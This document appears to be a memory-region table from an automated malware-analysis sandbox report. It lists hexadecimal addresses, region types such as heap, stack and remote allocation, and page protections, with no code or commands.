|
5AAD000
|
stack
|
page read and write
|
||
|
27BB000
|
heap
|
page read and write
|
||
|
27BE000
|
heap
|
page read and write
|
||
|
34BA000
|
heap
|
page read and write
|
||
|
63E000
|
stack
|
page read and write
|
||
|
327E000
|
stack
|
page read and write
|
||
|
5D28000
|
heap
|
page read and write
|
||
|
4C4000
|
heap
|
page read and write
|
||
|
79F000
|
heap
|
page read and write
|
||
|
37FC000
|
unclassified section
|
page execute and read and write
|
||
|
4C4000
|
heap
|
page read and write
|
||
|
7E87000
|
heap
|
page read and write
|
||
|
789E000
|
stack
|
page read and write
|
||
|
5E10000
|
remote allocation
|
page read and write
|
||
|
880D000
|
heap
|
page read and write
|
||
|
34F5000
|
heap
|
page read and write
|
||
|
8876000
|
heap
|
page read and write
|
||
|
27BE000
|
heap
|
page read and write
|
||
|
793000
|
heap
|
page read and write
|
||
|
6F80000
|
trusted library allocation
|
page read and write
|
||
|
7CC000
|
heap
|
page read and write
|
||
|
782000
|
heap
|
page read and write
|
||
|
8530000
|
heap
|
page read and write
|
||
|
3430000
|
heap
|
page read and write
|
||
|
65DB000
|
stack
|
page read and write
|
||
|
76F000
|
heap
|
page read and write
|
||
|
38FE000
|
stack
|
page read and write
|
||
|
2171000
|
heap
|
page read and write
|
||
|
319A000
|
heap
|
page read and write
|
||
|
273F000
|
stack
|
page read and write
|
||
|
7A10000
|
trusted library allocation
|
page read and write
|
||
|
8470000
|
heap
|
page read and write
|
||
|
3109000
|
trusted library allocation
|
page read and write
|
||
|
6F50000
|
trusted library allocation
|
page read and write
|
||
|
5333000
|
trusted library allocation
|
page read and write
|
||
|
4C4000
|
heap
|
page read and write
|
||
|
219D000
|
heap
|
page read and write
|
||
|
2161000
|
heap
|
page read and write
|
||
|
65F0000
|
heap
|
page execute and read and write
|
||
|
5F80000
|
heap
|
page read and write
|
||
|
27CE000
|
heap
|
page read and write
|
||
|
2780000
|
trusted library allocation
|
page read and write
|
||
|
4534000
|
trusted library allocation
|
page read and write
|
||
|
3503000
|
heap
|
page read and write
|
||
|
87F000
|
stack
|
page read and write
|
||
|
3503000
|
heap
|
page read and write
|
||
|
76F000
|
heap
|
page read and write
|
||
|
70F5000
|
heap
|
page execute and read and write
|
||
|
478000
|
unkown
|
page readonly
|
||
|
34E7000
|
heap
|
page read and write
|
||
|
37A0000
|
unclassified section
|
page execute and read and write
|
||
|
27B1000
|
heap
|
page read and write
|
||
|
27BC000
|
heap
|
page read and write
|
||
|
34E5000
|
heap
|
page read and write
|
||
|
2730000
|
trusted library section
|
page read and write
|
||
|
18F000
|
stack
|
page read and write
|
||
|
2790000
|
trusted library allocation
|
page read and write
|
||
|
66DC000
|
stack
|
page read and write
|
||
|
3B51000
|
heap
|
page read and write
|
||
|
68C000
|
stack
|
page read and write
|
||
|
2581000
|
heap
|
page read and write
|
||
|
79ED000
|
stack
|
page read and write
|
||
|
2160000
|
heap
|
page read and write
|
||
|
4C4000
|
heap
|
page read and write
|
||
|
27D0000
|
heap
|
page read and write
|
||
|
6C70000
|
trusted library allocation
|
page read and write
|
||
|
7B95000
|
trusted library allocation
|
page read and write
|
||
|
6F70000
|
trusted library allocation
|
page read and write
|
||
|
7A60000
|
trusted library allocation
|
page read and write
|
||
|
5E6E000
|
stack
|
page read and write
|
||
|
27CF000
|
heap
|
page read and write
|
||
|
70E000
|
stack
|
page read and write
|
||
|
19A000
|
stack
|
page read and write
|
||
|
27FB000
|
heap
|
page read and write
|
||
|
A2D000
|
heap
|
page read and write
|
||
|
27CB000
|
heap
|
page read and write
|
||
|
29B0000
|
trusted library allocation
|
page read and write
|
||
|
27C0000
|
heap
|
page read and write
|
||
|
4AEC000
|
stack
|
page read and write
|
||
|
5833000
|
heap
|
page read and write
|
||
|
9C000
|
stack
|
page read and write
|
||
|
29B0000
|
trusted library allocation
|
page read and write
|
||
|
6D69000
|
heap
|
page read and write
|
||
|
6DB9000
|
heap
|
page read and write
|
||
|
447F000
|
trusted library allocation
|
page read and write
|
||
|
2238000
|
heap
|
page read and write
|
||
|
2E19000
|
unclassified section
|
page execute and read and write
|
||
|
793000
|
heap
|
page read and write
|
||
|
473000
|
system
|
page execute and read and write
|
||
|
867C000
|
stack
|
page read and write
|
||
|
30FD000
|
trusted library allocation
|
page execute and read and write
|
||
|
351E000
|
heap
|
page read and write
|
||
|
2740000
|
heap
|
page read and write
|
||
|
471000
|
unkown
|
page read and write
|
||
|
5FD5000
|
heap
|
page read and write
|
||
|
3957000
|
heap
|
page read and write
|
||
|
3503000
|
heap
|
page read and write
|
||
|
455D000
|
trusted library allocation
|
page read and write
|
||
|
27B8000
|
heap
|
page read and write
|
||
|
27B1000
|
heap
|
page read and write
|
||
|
27E9000
|
heap
|
page read and write
|
||
|
218E000
|
heap
|
page read and write
|
||
|
7EA1000
|
heap
|
page read and write
|
||
|
7BF000
|
heap
|
page read and write
|
||
|
7000000
|
trusted library allocation
|
page read and write
|
||
|
27BC000
|
heap
|
page read and write
|
||
|
8490000
|
trusted library allocation
|
page read and write
|
||
|
75F000
|
heap
|
page read and write
|
||
|
34D6000
|
heap
|
page read and write
|
||
|
5D3C000
|
heap
|
page read and write
|
||
|
40DE000
|
stack
|
page read and write
|
||
|
27C3000
|
heap
|
page read and write
|
||
|
27AF000
|
stack
|
page read and write
|
||
|
6FD0000
|
trusted library allocation
|
page read and write
|
||
|
76F000
|
heap
|
page read and write
|
||
|
7CC000
|
heap
|
page read and write
|
||
|
10001000
|
direct allocation
|
page execute and read and write
|
||
|
4CF7000
|
trusted library allocation
|
page read and write
|
||
|
3122000
|
trusted library allocation
|
page read and write
|
||
|
5CFE000
|
heap
|
page read and write
|
||
|
583A000
|
heap
|
page read and write
|
||
|
5852000
|
heap
|
page read and write
|
||
|
34F0000
|
heap
|
page read and write
|
||
|
30D0000
|
trusted library section
|
page read and write
|
||
|
72A000
|
heap
|
page read and write
|
||
|
2175000
|
heap
|
page read and write
|
||
|
5A6D000
|
stack
|
page read and write
|
||
|
4559000
|
trusted library allocation
|
page read and write
|
||
|
5D32000
|
heap
|
page read and write
|
||
|
360B000
|
heap
|
page read and write
|
||
|
34FC000
|
heap
|
page read and write
|
||
|
8848000
|
heap
|
page read and write
|
||
|
7E80000
|
heap
|
page read and write
|
||
|
30A0000
|
heap
|
page read and write
|
||
|
27D2000
|
heap
|
page read and write
|
||
|
4B10000
|
trusted library allocation
|
page read and write
|
||
|
5BFE000
|
stack
|
page read and write
|
||
|
3FC0000
|
trusted library allocation
|
page read and write
|
||
|
76D9000
|
heap
|
page read and write
|
||
|
2161000
|
heap
|
page read and write
|
||
|
5E4000
|
heap
|
page read and write
|
||
|
3100000
|
trusted library allocation
|
page read and write
|
||
|
7A8D000
|
stack
|
page read and write
|
||
|
3957000
|
heap
|
page read and write
|
||
|
2591000
|
heap
|
page read and write
|
||
|
5E4000
|
heap
|
page read and write
|
||
|
27CB000
|
heap
|
page read and write
|
||
|
3516000
|
heap
|
page read and write
|
||
|
3420000
|
heap
|
page read and write
|
||
|
5D47000
|
heap
|
page read and write
|
||
|
680000
|
heap
|
page read and write
|
||
|
5E4000
|
heap
|
page read and write
|
||
|
7777000
|
heap
|
page read and write
|
||
|
2161000
|
heap
|
page read and write
|
||
|
6C80000
|
trusted library allocation
|
page read and write
|
||
|
8480000
|
trusted library allocation
|
page execute and read and write
|
||
|
27C0000
|
heap
|
page read and write
|
||
|
7EBE000
|
heap
|
page read and write
|
||
|
8840000
|
heap
|
page read and write
|
||
|
27C1000
|
heap
|
page read and write
|
||
|
5E4000
|
heap
|
page read and write
|
||
|
27E9000
|
heap
|
page read and write
|
||
|
2238000
|
heap
|
page read and write
|
||
|
10000000
|
direct allocation
|
page read and write
|
||
|
27D9000
|
heap
|
page read and write
|
||
|
6F60000
|
trusted library allocation
|
page read and write
|
||
|
5E4000
|
heap
|
page read and write
|
||
|
572F000
|
stack
|
page read and write
|
||
|
21A3000
|
heap
|
page read and write
|
||
|
27C5000
|
heap
|
page read and write
|
||
|
3516000
|
heap
|
page read and write
|
||
|
27C0000
|
trusted library allocation
|
page read and write
|
||
|
27B1000
|
heap
|
page read and write
|
||
|
92A0000
|
direct allocation
|
page execute and read and write
|
||
|
34D4000
|
heap
|
page read and write
|
||
|
2049000
|
heap
|
page read and write
|
||
|
400000
|
system
|
page execute and read and write
|
||
|
5830000
|
heap
|
page read and write
|
||
|
25E0000
|
heap
|
page read and write
|
||
|
4C80000
|
heap
|
page execute and read and write
|
||
|
3503000
|
heap
|
page read and write
|
||
|
536C000
|
trusted library allocation
|
page read and write
|
||
|
6FB0000
|
trusted library allocation
|
page read and write
|
||
|
382B000
|
unclassified section
|
page execute and read and write
|
||
|
9D95000
|
direct allocation
|
page execute and read and write
|
||
|
5D69000
|
heap
|
page read and write
|
||
|
8B20000
|
trusted library allocation
|
page read and write
|
||
|
27F0000
|
heap
|
page read and write
|
||
|
670E000
|
stack
|
page read and write
|
||
|
471000
|
unkown
|
page write copy
|
||
|
27B9000
|
heap
|
page read and write
|
||
|
3CBC000
|
heap
|
page read and write
|
||
|
27C5000
|
heap
|
page read and write
|
||
|
8860000
|
trusted library allocation
|
page read and write
|
||
|
7B9000
|
heap
|
page read and write
|
||
|
8467000
|
stack
|
page read and write
|
||
|
27CE000
|
heap
|
page read and write
|
||
|
7AFF000
|
stack
|
page read and write
|
||
|
5E10000
|
remote allocation
|
page read and write
|
||
|
27CE000
|
heap
|
page read and write
|
||
|
4C4000
|
heap
|
page read and write
|
||
|
7A9000
|
heap
|
page read and write
|
||
|
289000
|
heap
|
page read and write
|
||
|
5E4000
|
heap
|
page read and write
|
||
|
5D5C000
|
heap
|
page read and write
|
||
|
5F70000
|
heap
|
page read and write
|
||
|
33FE000
|
stack
|
page read and write
|
||
|
65F5000
|
heap
|
page execute and read and write
|
||
|
4C4000
|
heap
|
page read and write
|
||
|
534C000
|
trusted library allocation
|
page read and write
|
||
|
27CB000
|
heap
|
page read and write
|
||
|
3140000
|
trusted library allocation
|
page read and write
|
||
|
34A4000
|
heap
|
page read and write
|
||
|
5F81000
|
heap
|
page read and write
|
||
|
3D80000
|
heap
|
page read and write
|
||
|
7B00000
|
trusted library allocation
|
page read and write
|
||
|
568000
|
heap
|
page read and write
|
||
|
284000
|
heap
|
page read and write
|
||
|
27CB000
|
heap
|
page read and write
|
||
|
84EE000
|
stack
|
page read and write
|
||
|
5207000
|
trusted library allocation
|
page read and write
|
||
|
8AC000
|
heap
|
page read and write
|
||
|
5D2B000
|
heap
|
page read and write
|
||
|
7A30000
|
trusted library allocation
|
page read and write
|
||
|
27BF000
|
heap
|
page read and write
|
||
|
27CB000
|
heap
|
page read and write
|
||
|
5837000
|
heap
|
page read and write
|
||
|
34A6000
|
heap
|
page read and write
|
||
|
1F0000
|
heap
|
page read and write
|
||
|
30F3000
|
trusted library allocation
|
page execute and read and write
|
||
|
5C3000
|
heap
|
page read and write
|
||
|
2BCC000
|
stack
|
page read and write
|
||
|
4198000
|
heap
|
page read and write
|
||
|
582F000
|
stack
|
page read and write
|
||
|
705B000
|
stack
|
page read and write
|
||
|
401000
|
unkown
|
page execute read
|
||
|
2820000
|
heap
|
page read and write
|
||
|
3350000
|
heap
|
page read and write
|
||
|
3C05000
|
heap
|
page read and write
|
||
|
19C000
|
stack
|
page read and write
|
||
|
81E0000
|
trusted library allocation
|
page read and write
|
||
|
668D000
|
stack
|
page read and write
|
||
|
215C000
|
heap
|
page read and write
|
||
|
31C0000
|
heap
|
page read and write
|
||
|
7AA0000
|
trusted library allocation
|
page execute and read and write
|
||
|
27EE000
|
heap
|
page read and write
|
||
|
447C000
|
trusted library allocation
|
page read and write
|
||
|
5852000
|
heap
|
page read and write
|
||
|
5D7C000
|
heap
|
page read and write
|
||
|
4C4000
|
heap
|
page read and write
|
||
|
27CE000
|
heap
|
page read and write
|
||
|
A20000
|
heap
|
page read and write
|
||
|
22D7000
|
heap
|
page read and write
|
||
|
68E9000
|
heap
|
page read and write
|
||
|
3125000
|
trusted library allocation
|
page execute and read and write
|
||
|
4C5000
|
heap
|
page read and write
|
||
|
884C000
|
heap
|
page read and write
|
||
|
27B1000
|
heap
|
page read and write
|
||
|
400000
|
system
|
page execute and read and write
|
||
|
471000
|
unkown
|
page write copy
|
||
|
41A1000
|
trusted library allocation
|
page read and write
|
||
|
5D25000
|
heap
|
page read and write
|
||
|
30E0000
|
trusted library allocation
|
page read and write
|
||
|
27BF000
|
heap
|
page read and write
|
||
|
27B8000
|
heap
|
page read and write
|
||
|
2FEB000
|
stack
|
page read and write
|
||
|
218A000
|
heap
|
page read and write
|
||
|
3516000
|
heap
|
page read and write
|
||
|
2591000
|
heap
|
page read and write
|
||
|
801000
|
heap
|
page read and write
|
||
|
3516000
|
heap
|
page read and write
|
||
|
7A50000
|
trusted library allocation
|
page read and write
|
||
|
5CD000
|
heap
|
page read and write
|
||
|
78E0000
|
trusted library allocation
|
page read and write
|
||
|
2170000
|
heap
|
page read and write
|
||
|
2E38000
|
stack
|
page read and write
|
||
|
337F000
|
stack
|
page read and write
|
||
|
6B5F000
|
stack
|
page read and write
|
||
|
B195000
|
direct allocation
|
page execute and read and write
|
||
|
6CC000
|
stack
|
page read and write
|
||
|
345D000
|
heap
|
page read and write
|
||
|
80BE000
|
stack
|
page read and write
|
||
|
5839000
|
heap
|
page read and write
|
||
|
27C4000
|
heap
|
page read and write
|
||
|
34D5000
|
heap
|
page read and write
|
||
|
5831000
|
heap
|
page read and write
|
||
|
27BB000
|
heap
|
page read and write
|
||
|
7670000
|
trusted library allocation
|
page read and write
|
||
|
27F6000
|
heap
|
page read and write
|
||
|
768D000
|
heap
|
page read and write
|
||
|
5A0000
|
heap
|
page read and write
|
||
|
278A000
|
trusted library allocation
|
page execute and read and write
|
||
|
7680000
|
heap
|
page read and write
|
||
|
4C5000
|
heap
|
page read and write
|
||
|
5838000
|
heap
|
page read and write
|
||
|
276D000
|
trusted library allocation
|
page execute and read and write
|
||
|
27E6000
|
heap
|
page read and write
|
||
|
34FC000
|
heap
|
page read and write
|
||
|
51A1000
|
trusted library allocation
|
page read and write
|
||
|
3810000
|
unclassified section
|
page execute and read and write
|
||
|
5852000
|
heap
|
page read and write
|
||
|
117000
|
stack
|
page read and write
|
||
|
584E000
|
heap
|
page read and write
|
||
|
3428000
|
heap
|
page read and write
|
||
|
258D000
|
heap
|
page read and write
|
||
|
801000
|
heap
|
page read and write
|
||
|
27CE000
|
heap
|
page read and write
|
||
|
33A5000
|
heap
|
page read and write
|
||
|
3954000
|
heap
|
page read and write
|
||
|
5DD8000
|
heap
|
page read and write
|
||
|
5DA8000
|
heap
|
page read and write
|
||
|
22BF000
|
stack
|
page read and write
|
||
|
210000
|
heap
|
page read and write
|
||
|
34D5000
|
heap
|
page read and write
|
||
|
7A20000
|
trusted library allocation
|
page read and write
|
||
|
27BB000
|
heap
|
page read and write
|
||
|
27C0000
|
heap
|
page read and write
|
||
|
27B1000
|
heap
|
page read and write
|
||
|
7CC000
|
heap
|
page read and write
|
||
|
7678000
|
trusted library allocation
|
page read and write
|
||
|
23DF000
|
stack
|
page read and write
|
||
|
1F0000
|
heap
|
page read and write
|
||
|
27B1000
|
heap
|
page read and write
|
||
|
215C000
|
heap
|
page read and write
|
||
|
3190000
|
heap
|
page read and write
|
||
|
27D4000
|
heap
|
page read and write
|
||
|
2740000
|
heap
|
page read and write
|
||
|
3516000
|
heap
|
page read and write
|
||
|
5CD000
|
heap
|
page read and write
|
||
|
34E0000
|
heap
|
page read and write
|
||
|
560000
|
heap
|
page read and write
|
||
|
34EA000
|
heap
|
page read and write
|
||
|
27B1000
|
heap
|
page read and write
|
||
|
27D0000
|
heap
|
page read and write
|
||
|
782000
|
heap
|
page read and write
|
||
|
5CF6000
|
trusted library allocation
|
page read and write
|
||
|
6CDD000
|
trusted library allocation
|
page read and write
|
||
|
72D0000
|
heap
|
page read and write
|
||
|
25DF000
|
stack
|
page read and write
|
||
|
2FDF000
|
stack
|
page read and write
|
||
|
4140000
|
heap
|
page read and write
|
||
|
77B0000
|
trusted library allocation
|
page read and write
|
||
|
2590000
|
heap
|
page read and write
|
||
|
5E4000
|
heap
|
page read and write
|
||
|
286000
|
heap
|
page read and write
|
||
|
48F000
|
heap
|
page read and write
|
||
|
27CB000
|
heap
|
page read and write
|
||
|
2770000
|
heap
|
page read and write
|
||
|
5DA8000
|
heap
|
page read and write
|
||
|
7A00000
|
trusted library allocation
|
page read and write
|
||
|
817000
|
heap
|
page read and write
|
||
|
A2D000
|
heap
|
page read and write
|
||
|
27D4000
|
heap
|
page read and write
|
||
|
3958000
|
heap
|
page read and write
|
||
|
24DF000
|
stack
|
page read and write
|
||
|
7ADB000
|
stack
|
page read and write
|
||
|
27F0000
|
heap
|
page read and write
|
||
|
77C0000
|
trusted library allocation
|
page read and write
|
||
|
8A90000
|
direct allocation
|
page execute and read and write
|
||
|
27CB000
|
heap
|
page read and write
|
||
|
471000
|
unkown
|
page write copy
|
||
|
33A0000
|
heap
|
page read and write
|
||
|
5D0A000
|
heap
|
page read and write
|
||
|
5D66000
|
heap
|
page read and write
|
||
|
177000
|
stack
|
page read and write
|
||
|
760000
|
heap
|
page read and write
|
||
|
27B4000
|
heap
|
page read and write
|
||
|
5C91000
|
trusted library allocation
|
page read and write
|
||
|
27CE000
|
heap
|
page read and write
|
||
|
4538000
|
trusted library allocation
|
page read and write
|
||
|
471000
|
unkown
|
page write copy
|
||
|
27B8000
|
heap
|
page read and write
|
||
|
6E20000
|
trusted library allocation
|
page read and write
|
||
|
478000
|
heap
|
page read and write
|
||
|
5836000
|
heap
|
page read and write
|
||
|
5E10000
|
remote allocation
|
page read and write
|
||
|
2779000
|
trusted library allocation
|
page read and write
|
||
|
27D0000
|
heap
|
page read and write
|
||
|
3CBC000
|
heap
|
page read and write
|
||
|
240000
|
heap
|
page read and write
|
||
|
21A000
|
heap
|
page read and write
|
||
|
10016000
|
direct allocation
|
page execute and read and write
|
||
|
2DC0000
|
unclassified section
|
page execute and read and write
|
||
|
9C000
|
stack
|
page read and write
|
||
|
7C4000
|
heap
|
page read and write
|
||
|
27BE000
|
heap
|
page read and write
|
||
|
4C4000
|
heap
|
page read and write
|
||
|
3478000
|
heap
|
page read and write
|
||
|
38A0000
|
heap
|
page read and write
|
||
|
1E0000
|
heap
|
page read and write
|
||
|
2ACE000
|
stack
|
page read and write
|
||
|
68D0000
|
heap
|
page read and write
|
||
|
2763000
|
trusted library allocation
|
page execute and read and write
|
||
|
2FB000
|
heap
|
page read and write
|
||
|
5F93000
|
heap
|
page read and write
|
||
|
27D4000
|
heap
|
page read and write
|
||
|
548F000
|
trusted library allocation
|
page read and write
|
||
|
2181000
|
heap
|
page read and write
|
||
|
4B00000
|
trusted library allocation
|
page execute and read and write
|
||
|
2764000
|
trusted library allocation
|
page read and write
|
||
|
68E0000
|
heap
|
page read and write
|
||
|
2175000
|
heap
|
page read and write
|
||
|
69E000
|
stack
|
page read and write
|
||
|
2140000
|
heap
|
page read and write
|
||
|
6DCB000
|
heap
|
page read and write
|
||
|
351E000
|
heap
|
page read and write
|
||
|
3110000
|
trusted library allocation
|
page read and write
|
||
|
8680000
|
trusted library allocation
|
page read and write
|
||
|
3B98000
|
heap
|
page read and write
|
||
|
21D2000
|
heap
|
page read and write
|
||
|
7BF000
|
stack
|
page read and write
|
||
|
27A0000
|
heap
|
page read and write
|
||
|
7AB0000
|
heap
|
page read and write
|
||
|
852E000
|
stack
|
page read and write
|
||
|
84A0000
|
trusted library allocation
|
page read and write
|
||
|
11D000
|
stack
|
page read and write
|
||
|
6F90000
|
trusted library allocation
|
page read and write
|
||
|
6D0D000
|
heap
|
page read and write
|
||
|
2710000
|
heap
|
page read and write
|
||
|
6E00000
|
trusted library allocation
|
page read and write
|
||
|
7A9000
|
heap
|
page read and write
|
||
|
34BB000
|
heap
|
page read and write
|
||
|
5E4000
|
heap
|
page read and write
|
||
|
400000
|
unkown
|
page readonly
|
||
|
7B4000
|
heap
|
page read and write
|
||
|
24C000
|
heap
|
page read and write
|
||
|
5842000
|
heap
|
page read and write
|
||
|
27B1000
|
heap
|
page read and write
|
||
|
5CB9000
|
trusted library allocation
|
page read and write
|
||
|
7A9000
|
heap
|
page read and write
|
||
|
34DD000
|
heap
|
page read and write
|
||
|
27EE000
|
heap
|
page read and write
|
||
|
351C000
|
heap
|
page read and write
|
||
|
640000
|
heap
|
page read and write
|
||
|
85E0000
|
trusted library allocation
|
page read and write
|
||
|
2161000
|
heap
|
page read and write
|
||
|
5E4000
|
heap
|
page read and write
|
||
|
34A5000
|
heap
|
page read and write
|
||
|
45D000
|
system
|
page execute and read and write
|
||
|
793000
|
heap
|
page read and write
|
||
|
2BCF000
|
stack
|
page read and write
|
||
|
79AE000
|
stack
|
page read and write
|
||
|
2175000
|
heap
|
page read and write
|
||
|
5D1E000
|
heap
|
page read and write
|
||
|
3956000
|
heap
|
page read and write
|
||
|
27CE000
|
heap
|
page read and write
|
||
|
456000
|
system
|
page execute and read and write
|
||
|
27BE000
|
heap
|
page read and write
|
||
|
2795000
|
trusted library allocation
|
page execute and read and write
|
||
|
3D50000
|
heap
|
page read and write
|
||
|
27E7000
|
heap
|
page read and write
|
||
|
6B1E000
|
stack
|
page read and write
|
||
|
27B9000
|
heap
|
page read and write
|
||
|
7E2000
|
heap
|
page read and write
|
||
|
9C000
|
stack
|
page read and write
|
||
|
7DC000
|
heap
|
page read and write
|
||
|
5D68000
|
heap
|
page read and write
|
||
|
5D49000
|
heap
|
page read and write
|
||
|
27D4000
|
heap
|
page read and write
|
||
|
4C4000
|
heap
|
page read and write
|
||
|
27CE000
|
heap
|
page read and write
|
||
|
8810000
|
heap
|
page read and write
|
||
|
34F9000
|
heap
|
page read and write
|
||
|
2E33000
|
unclassified section
|
page execute and read and write
|
||
|
2E80000
|
heap
|
page read and write
|
||
|
34D4000
|
heap
|
page read and write
|
||
|
5CF0000
|
heap
|
page read and write
|
||
|
27BB000
|
heap
|
page read and write
|
||
|
2130000
|
heap
|
page read and write
|
||
|
680E000
|
stack
|
page read and write
|
||
|
8830000
|
heap
|
page read and write
|
||
|
34D4000
|
heap
|
page read and write
|
||
|
5E4000
|
heap
|
page read and write
|
||
|
782000
|
heap
|
page read and write
|
||
|
3504000
|
heap
|
page read and write
|
||
|
27CE000
|
heap
|
page read and write
|
||
|
327D000
|
stack
|
page read and write
|
||
|
311A000
|
trusted library allocation
|
page execute and read and write
|
||
|
401E000
|
stack
|
page read and write
|
||
|
9C000
|
stack
|
page read and write
|
||
|
2B4000
|
heap
|
page read and write
|
||
|
2792000
|
trusted library allocation
|
page read and write
|
||
|
5E0000
|
heap
|
page read and write
|
||
|
27E9000
|
heap
|
page read and write
|
||
|
27BE000
|
heap
|
page read and write
|
||
|
7850000
|
trusted library allocation
|
page read and write
|
||
|
34AC000
|
heap
|
page read and write
|
||
|
27B1000
|
heap
|
page read and write
|
||
|
27AA000
|
heap
|
page read and write
|
||
|
4B20000
|
heap
|
page read and write
|
||
|
3600000
|
heap
|
page read and write
|
||
|
27D4000
|
heap
|
page read and write
|
||
|
27B9000
|
heap
|
page read and write
|
||
|
4C5000
|
heap
|
page read and write
|
||
|
3954000
|
heap
|
page read and write
|
||
|
3450000
|
heap
|
page read and write
|
||
|
8A0000
|
heap
|
page read and write
|
||
|
27BE000
|
unkown
|
page read and write
|
||
|
34A7000
|
heap
|
page read and write
|
||
|
766000
|
heap
|
page read and write
|
||
|
5D17000
|
heap
|
page read and write
|
||
|
27FF000
|
heap
|
page read and write
|
||
|
27E9000
|
heap
|
page read and write
|
||
|
394E000
|
stack
|
page read and write
|
||
|
33B0000
|
heap
|
page read and write
|
||
|
7150000
|
direct allocation
|
page read and write
|
||
|
2150000
|
heap
|
page read and write
|
||
|
5852000
|
heap
|
page read and write
|
||
|
7A10000
|
trusted library allocation
|
page read and write
|
||
|
27BA000
|
heap
|
page read and write
|
||
|
42F9000
|
trusted library allocation
|
page read and write
|
||
|
801000
|
heap
|
page read and write
|
||
|
400000
|
system
|
page execute and read and write
|
||
|
27CE000
|
heap
|
page read and write
|
||
|
760000
|
heap
|
page read and write
|
||
|
5CFF000
|
trusted library allocation
|
page read and write
|
||
|
548D000
|
trusted library allocation
|
page read and write
|
||
|
27CB000
|
heap
|
page read and write
|
||
|
7E2000
|
heap
|
page read and write
|
||
|
2174000
|
heap
|
page read and write
|
||
|
7DC000
|
heap
|
page read and write
|
||
|
34AD000
|
heap
|
page read and write
|
||
|
7010000
|
trusted library allocation
|
page read and write
|
||
|
27BD000
|
heap
|
page read and write
|
||
|
34E6000
|
heap
|
page read and write
|
||
|
29B0000
|
trusted library allocation
|
page read and write
|
||
|
27BE000
|
heap
|
page read and write
|
||
|
27F7000
|
heap
|
page read and write
|
||
|
27CE000
|
heap
|
page read and write
|
||
|
4C4000
|
heap
|
page read and write
|
||
|
27BE000
|
heap
|
page read and write
|
||
|
34F2000
|
heap
|
page read and write
|
||
|
5839000
|
heap
|
page read and write
|
||
|
34F7000
|
heap
|
page read and write
|
||
|
7DBE000
|
stack
|
page read and write
|
||
|
478000
|
unkown
|
page readonly
|
||
|
34C4000
|
heap
|
page read and write
|
||
|
5852000
|
heap
|
page read and write
|
||
|
39B0000
|
heap
|
page read and write
|
||
|
5839000
|
heap
|
page read and write
|
||
|
7830000
|
trusted library allocation
|
page read and write
|
||
|
27CE000
|
heap
|
page read and write
|
||
|
34BC000
|
heap
|
page read and write
|
||
|
6EFE000
|
stack
|
page read and write
|
||
|
27BE000
|
heap
|
page read and write
|
||
|
27D4000
|
heap
|
page read and write
|
||
|
22D0000
|
heap
|
page read and write
|
||
|
448F000
|
trusted library allocation
|
page read and write
|
||
|
5852000
|
heap
|
page read and write
|
||
|
5845000
|
heap
|
page read and write
|
||
|
27D0000
|
heap
|
page read and write
|
||
|
27C3000
|
heap
|
page read and write
|
||
|
5DD8000
|
heap
|
page read and write
|
||
|
7A90000
|
trusted library allocation
|
page read and write
|
||
|
627F000
|
stack
|
page read and write
|
||
|
193000
|
stack
|
page read and write
|
||
|
5E4000
|
heap
|
page read and write
|
||
|
3BC9000
|
heap
|
page read and write
|
||
|
5831000
|
heap
|
page read and write
|
||
|
6E30000
|
heap
|
page execute and read and write
|
||
|
349B000
|
heap
|
page read and write
|
||
|
454E000
|
trusted library allocation
|
page read and write
|
||
|
72E0000
|
heap
|
page read and write
|
||
|
8560000
|
trusted library allocation
|
page execute and read and write
|
||
|
27B1000
|
heap
|
page read and write
|
||
|
6C90000
|
trusted library allocation
|
page read and write
|
||
|
751E000
|
stack
|
page read and write
|
||
|
30C0000
|
trusted library section
|
page read and write
|
||
|
4DE9000
|
trusted library allocation
|
page read and write
|
||
|
A2D000
|
heap
|
page read and write
|
||
|
2740000
|
trusted library section
|
page read and write
|
||
|
60E000
|
stack
|
page read and write
|
||
|
3880000
|
heap
|
page read and write
|
||
|
27EA000
|
heap
|
page read and write
|
||
|
27E9000
|
heap
|
page read and write
|
||
|
57C000
|
heap
|
page read and write
|
||
|
27CB000
|
heap
|
page read and write
|
||
|
318A000
|
heap
|
page read and write
|
||
|
8570000
|
trusted library allocation
|
page read and write
|
||
|
1F9E000
|
stack
|
page read and write
|
||
|
688000
|
heap
|
page read and write
|
||
|
21D2000
|
heap
|
page read and write
|
||
|
5D24000
|
heap
|
page read and write
|
||
|
30F4000
|
trusted library allocation
|
page read and write
|
||
|
27CB000
|
heap
|
page read and write
|
||
|
8580000
|
trusted library allocation
|
page read and write
|
||
|
70F0000
|
heap
|
page execute and read and write
|
||
|
349C000
|
heap
|
page read and write
|
||
|
6CF0000
|
heap
|
page read and write
|
||
|
DC000
|
stack
|
page read and write
|
||
|
27CB000
|
heap
|
page read and write
|
||
|
3150000
|
heap
|
page readonly
|
||
|
793000
|
heap
|
page read and write
|
||
|
7A70000
|
trusted library allocation
|
page read and write
|
||
|
793000
|
heap
|
page read and write
|
||
|
27CE000
|
heap
|
page read and write
|
||
|
27B9000
|
heap
|
page read and write
|
||
|
215F000
|
heap
|
page read and write
|
||
|
27BB000
|
heap
|
page read and write
|
||
|
8590000
|
trusted library allocation
|
page read and write
|
||
|
27CE000
|
heap
|
page read and write
|
||
|
27EE000
|
heap
|
page read and write
|
||
|
7A9000
|
heap
|
page read and write
|
||
|
7A9000
|
heap
|
page read and write
|
||
|
3516000
|
heap
|
page read and write
|
||
|
7F030000
|
trusted library allocation
|
page execute and read and write
|
||
|
2580000
|
heap
|
page read and write
|
||
|
3516000
|
heap
|
page read and write
|
||
|
596D000
|
stack
|
page read and write
|
||
|
34F0000
|
heap
|
page read and write
|
||
|
583E000
|
heap
|
page read and write
|
||
|
3B51000
|
heap
|
page read and write
|
||
|
7820000
|
heap
|
page execute and read and write
|
||
|
7706000
|
heap
|
page read and write
|
||
|
27CE000
|
heap
|
page read and write
|
||
|
3900000
|
heap
|
page read and write
|
||
|
29B0000
|
trusted library allocation
|
page read and write
|
||
|
478000
|
unkown
|
page readonly
|
||
|
27CE000
|
heap
|
page read and write
|
||
|
4C5000
|
heap
|
page read and write
|
||
|
7840000
|
trusted library allocation
|
page execute and read and write
|
||
|
2E1D000
|
unclassified section
|
page execute and read and write
|
||
|
2760000
|
trusted library allocation
|
page read and write
|
||
|
830000
|
heap
|
page read and write
|
||
|
6EBF000
|
stack
|
page read and write
|
||
|
5BAD000
|
stack
|
page read and write
|
||
|
27CE000
|
heap
|
page read and write
|
||
|
27CE000
|
heap
|
page read and write
|
||
|
349B000
|
heap
|
page read and write
|
||
|
2741000
|
heap
|
page read and write
|
||
|
5E4000
|
heap
|
page read and write
|
||
|
41FE000
|
trusted library allocation
|
page read and write
|
||
|
401000
|
